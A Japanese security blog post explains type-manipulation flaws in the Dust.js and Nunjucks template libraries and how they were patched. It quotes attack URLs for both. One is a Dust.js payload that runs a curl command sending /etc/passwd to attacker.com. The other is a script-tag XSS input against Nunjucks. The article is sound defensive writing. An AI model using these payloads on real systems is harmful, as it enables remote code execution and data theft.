Skip to main content

型の操作:テンプレートサンドボックスからの脱出

2017年3月21日

0 分で読めます

JavaScriptやRubyなどのインタープリター言語の重要な特性に、動的型付けがあります。これは、変数の型が実行時に決定され、更新される仕組みです。動的型付けには欠点もありますが、ソフトウェアの柔軟性を高め、開発を迅速化できます。しかし残念ながら、動的型付けは「型の操作」と呼ばれる攻撃経路につながる可能性があります。攻撃者が特定の変数の型を変更し、意図しない動作を引き起こそうとする攻撃です。

この記事は、型の操作をテーマにした連載の第1回です。各記事では、型の操作によって悪用可能になった実際の脆弱性を1つ以上紹介し、どうすれば防げたのかを解説します。実例を取り上げるのは、皆さんが利用している可能性のあるパッケージに存在した特定の脆弱性を知ってもらうとともに、こうした失敗から学び、自分のコードで同じ問題を避けられるようにするためです。

この記事では、型の操作を利用してテンプレートフレームワークのサンドボックスを回避する方法を取り上げます。これらのテンプレートには、組み込みの保護機能が備わっていることが多いものの、後ほど示すように、その保護が完璧とは限りません。ここでは、LinkedInのDust.jsとMozillaのNunjucksに存在した脆弱性を例に、Angularについても少し触れます。

LinkedIn Dust.jsのリモートコマンド実行の脆弱性

主な例として、LinkedInが公開し、自社でも利用している人気のテンプレートフレームワーク、Dust.jsの脆弱性を取り上げます。Dust.jsはPayPalでも利用されていたことが知られており、そこで研究者が型の操作を利用して悪用できるリモートコマンド実行の脆弱性を発見しました。

この脆弱性は2015年1月9日に公開され、2016年9月14日に公開されたバージョン2.6.0で修正されました。Dust.jsを利用している場合は、アプリが脆弱性のあるバージョンを使っていないか確認してください。

型への明示的な依存

ほとんどのテンプレートライブラリと同様に、Dust.jsはテンプレート内の条件分岐に対応しています。次の例では、deviceパラメーターを使って、出力するHTMLを選択しています。

{@if cond="'{device}' == 'desktop'"} 
    <div>Desktop version</div> 
{:else} 
    <div>Mobile Version</div> 
{/if}

こうした条件は後にeval()関数で評価されます。テンプレート内で複雑な条件を柔軟に扱うための簡単な方法です。次はDust.jsのif関数の一部です。ユーザーが指定するparamsと、開発者が静的に指定するcondを組み合わせ、評価対象の値を作成していることがわかります。

"if": function( chunk, context, bodies, params ){
  ...
    var cond = params.cond;
    cond = dust.helpers.tap(cond, chunk, context);
    // eval expressions with given dust references
    if(eval(cond)){
      ...
    }
}

条件にユーザー入力(例:deviceパラメーター)が含まれる可能性があるため、Dust.jsは悪意のあるパラメーター値がコードとして評価されないよう、サニタイズ関数を使用します。以下は、そのサニタイズ関数の一部です。

dust.escapeHtml = function(s) {
  if (typeof s === 'string') {
    if (!HCHARS.test(s)) {
      return s;
    }
  return s.replace(AMP,'&').replace(...) // more char replacements
  }
  return s;
}

サニタイズのコードは適切に実装されており、引用符で囲まれた文字列から抜け出すために使えると判明している文字はすべて捕捉しています。また、HCHARS.test(s)の呼び出しが文字列に対してのみ実行されているのは、未定義の値によるエラーを避けるためと考えられます。

エラーを避けることはできても、この型チェックこそが型の操作攻撃の入り口になります。攻撃者がsを配列(または文字列以外のオブジェクト)にできれば、チェックを完全に回避できます。その後、条件がevalに渡される際に配列が暗黙的に文字列へ変換され、リモートでのJavaScriptコード実行が可能になります。

文字列から配列へ

次に攻撃者は、変数の型を操作しようとします。API駆動型のアプリケーションでは、JSONペイロードを変更して型を操作する方法があります。これはMongooseのBufferの脆弱性でも見られました。しかし今回はWebテンプレートプラットフォームなので、qsを使った型の操作に焦点を当てます。

qsパッケージは、クエリ文字列の解析に最も広く使われているJavaScriptパッケージで、expressやrequestをはじめとする人気パッケージで標準的に利用されています。qsはクエリ文字列をJavaScriptオブジェクトに変換するため、簡単に扱えます。qsの一般的な使用例をいくつか紹介します。

qs.parse('a');          // {a : ''}
qs.parse('a=foo');      // {a : 'foo'}
qs.parse('a=foo&b=bar');// {a : 'foo', b: 'bar'}
qs.parse('a=foo&a=bar');// {a : ['foo', 'bar']}
qs.parse('a[]=foo');    // {a : ['foo']}

お気づきかもしれませんが、qsはクエリ文字列での表現方法から、作成するオブジェクトの型を決定します。同じ名前が複数回現れた場合は、配列として表されます。同様に、パラメーターで配列が明示されていれば、解析後も配列になります。

ここからDust.jsの脆弱性を引き起こすまでの道のりは短いものです。上記のサンプルテンプレートは実際にPayPalで使われていましたが、攻撃者はdevice引数を2回指定するか、device[]=valueパラメーターとして渡すだけで、変数を配列として処理させ、サニタイズのロジックを回避できます。

Dust.jsの脆弱性を悪用した後の攻撃

「型の操作」というテーマからは少し逸れますが、攻撃者がこの脆弱性をどのように利用するのか、いわゆる「悪用後」の動作を見てみましょう。

まず攻撃者は、コードを実行させる必要があります。次のようなURLを渡すことで実行できます。

Attack URL: https://host/page?device=x&device=y'-console.log('gotcha')+'
Eval call:  eval("'xy'-console.log('gotcha')+'' == 'desktop'");

コンソールにメッセージを記録するだけでは、攻撃者にとってあまり役に立ちません。そのため、情報を外部に送信するなど、より巧妙なスクリプトを渡すことがあります。PayPalの脆弱性を悪用した際、研究者は次のようなペイロードを使いました。

https://host/page?device=x&device=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+attacker.com')-'

これは、次のようなeval呼び出しに変換されます。

eval("'xy'-require('child_process').exec('curl -F \"x=`cat /etc/passwd`\" attacker.com')-'' == 'desktop'");

悪用後の処理では、child_processモジュールを使ってローカルでcurlコマンドを実行し、/etc/passwdファイルを攻撃者に送信します。ペイロードを少し長くすれば、Nodeのネイティブコマンドを使って同じことを実行することもできました。しかしchild_processを使うことで、脆弱性はリモートJavaScriptコード実行からリモートシェルコマンド実行へと深刻化し、攻撃者が取れる手段が広がります。

修正方法

ほとんどの型の操作攻撃(今回のケースも例外ではありません)は、変数の型を制限する、正規化する、または型ごとに個別処理することで防げます。これら3つの方法を組み合わせ、多層防御を構築することも可能です。

型の制限とは、特定の型のみを許可することです。この場合、Dust.jsはテンプレート内で文字列以外のパラメーターを許可しないようにできました。その分、機能が制限されるため、この方法を採用するかどうかはフレームワークの使い方によります。

正規化とは、さまざまな入力型を1つの型に変換することです。この場合、Dust.jsはeval()関数に渡す際に、対象の変数を暗黙的に文字列へ変換していました。その段階で変換するのではなく、前段の関数で配列や整数などの入力を文字列に変換しておけば、文字列のみが許可されることを前提に、サニタイズを含む後続のコードを処理できます。

最後に、型ごとの個別処理とは、許可するすべての型に対して専用の処理を記述することです。この場合、Dust.jsは配列かどうかを判定し、配列内の各文字を正規化するとともに、複数の配列要素を危険な形で結合できる可能性も考慮できます。3つの方法のうち最も脆弱性が生じやすい一方で、より複雑な入力にも対応できます。

Dust.jsは、toString関数を持つすべてのオブジェクトを捕捉することを目指した、型ごとの個別処理を選びました。この方法で問題には対処できますが、後続のコードが配列をユーザー向けの出力に変換する際、別の方法を選ぶ可能性があり、コードには一定の脆弱性が残ります。Dust.jsのパッチから、関連する部分を紹介します。

dust.escapeHtml = function(s) {
if (typeof s === "string" || (s && typeof s.toString === "function")) {
   if (typeof s !== "string") {
      s = s.toString();
   }
   if (!HCHARS.test(s)) {
      return s;
   }
 }
};

脆弱性のあるバージョンのDust.jsを使用していて、何らかの理由でアップグレードできない場合は、コード内でDust.jsに渡す入力の型を正規化するか、文字列以外の型を許可しないことで、悪意のある配列を防げます。脆弱性のあるバージョンを使用していないか、SnykのCLIまたはGitHubインテグレーションで確認できます。

Mozilla NunjucksのXSS脆弱性

Dust.jsの脆弱性は特異なものではなく、繰り返し見られるパターンです。たとえば、別のテンプレートフレームワーク、MozillaのNunjucksライブラリにも存在した、同様の型の操作の可能性を見てみましょう。この脆弱性は2016年9月6日にMatt Austinによって公開され、2016年9月9日に公開されたバージョン2.4.3で修正されました。Dust.jsと同様、Snykを使ってアプリが脆弱性のあるNunjucksのバージョンを使用していないか確認できます。

HandlebarsやMustacheなどと同様、Nunjucksでは二重波括弧(``)で変数名を囲み、その値をHTMLエンコードするよう指定できます。この保護機能の動作例を紹介します。

nunjucks.renderString(
       'Hello ',
       {username: '<script>alert(1)</script>' });

// Outputs: Hello <script>alert(1)<script>

しかしDust.jsと同様に、Nunjucksのサニタイズ関数は文字列型のパラメーターのみをエスケープしていました。以下はサニタイズコードの一部です。

escape: function(str) {
  if(typeof str === 'string') {
    return r.markSafe(lib.escape(str));
  }
  return str;
}

上記と同様の仕組みにより、次のようなURL(qsで解析されます)は、

https://host/?name[]=<script>alert(1)</script>matt

次のような呼び出しとXSS出力につながります。

nunjucks.renderString(
       'Hello ',
       {username: ['<script>alert(1)</script>matt'] });

// Outputs: <script>alert(1)</script>matt

ご覧のとおり、問題は同じパターンです。攻撃者が型を操作できることを想定していません。その結果、攻撃者はサニタイズを回避し、悪意のあるコードを挿入できます。

Dust.jsの場合と同様に、Nunjucksも配列入力を拒否する、文字列に正規化する、または配列にも対応する個別のサニタイズ処理を実装することで修正できます。このパッチが示すように、MozillaはtoStringメソッドを使って配列入力を正規化する方法を選びました。

まとめ

型の操作はあまり知られていない攻撃経路ですが、動的型付け言語には実際の脅威となります。このような言語では、型も入力の一種として考え、各型を許可リストで制限する、正規化する、または個別に処理する必要があります。

この記事では、型の操作を使ってテンプレートフレームワークのサンドボックスを突破する方法を見てきました。多くのフレームワークが同じ問題に直面しました。実行環境を制御せずにサンドボックスを実現するのは非常に難しく、それがAngularがサンドボックスを完全に断念した理由です。

今後の記事では、型の操作が影響する別の状況を取り上げ、そこに潜むリスクや、どのような形で現れるのかをより深く理解できるよう解説します。

カテゴリー:

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

脆弱性のバックログはもはや技術的負債ではなく、攻撃対象領域です

増え続ける脆弱性のバックログは、単なる技術的負債ではありません。攻撃対象領域そのものです。古いリスクの前提、攻撃の自動化、そして連鎖する検出結果によって、なぜ新たなアプローチが求められているのかを解説します。